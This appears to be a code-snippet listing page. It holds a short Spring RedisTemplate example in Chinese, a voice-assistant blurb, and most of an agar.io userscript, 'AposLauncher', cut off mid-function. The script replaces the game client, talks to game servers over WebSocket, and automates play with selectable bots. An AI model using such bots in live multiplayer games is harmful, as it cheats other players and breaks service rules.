在CODE上查看代码片派生到我的代码片 redisTemplate.execute(new RedisCallback<Object>() { @Override public Object doInRedis(RedisConnection connection) throws DataAccessException { connection.set( redisTemplate.getStringSerializer().serialize( "test"), redisTemplate .getStringSerializer() .serialize("hello")); return null; } }); 是不是很方便的哈?结束第一天的教程,明天开始搭建redis集群。
MushieKings
A fully offline voice assistant that combines lmstudio and applio together. Uses two methods of TTS, STT and also has some extra features.
zsith
// ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e 